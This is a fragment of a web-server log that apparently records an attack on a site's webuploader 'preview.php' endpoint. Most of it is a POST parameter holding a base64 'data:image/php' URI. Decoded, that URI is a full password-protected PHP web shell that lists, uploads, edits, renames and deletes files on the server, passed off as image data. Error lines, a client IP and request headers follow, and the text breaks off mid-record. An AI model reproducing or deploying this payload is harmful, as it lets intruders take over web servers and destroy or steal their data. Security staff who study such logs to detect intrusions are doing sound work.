'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'ui' => 'webuploader', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:33:22+08:00 ] 116.213.36.234 POST www.51tianwei.com/app/app/webuploader/0.1.15/server/preview.php [运行时间:0.002660s] [吞吐率:375.93req/s] [内存消耗:196.80kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'app', 2 => 'app', ), ) [ info ] [ HEADER ] array ( 'host' => 'www.51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 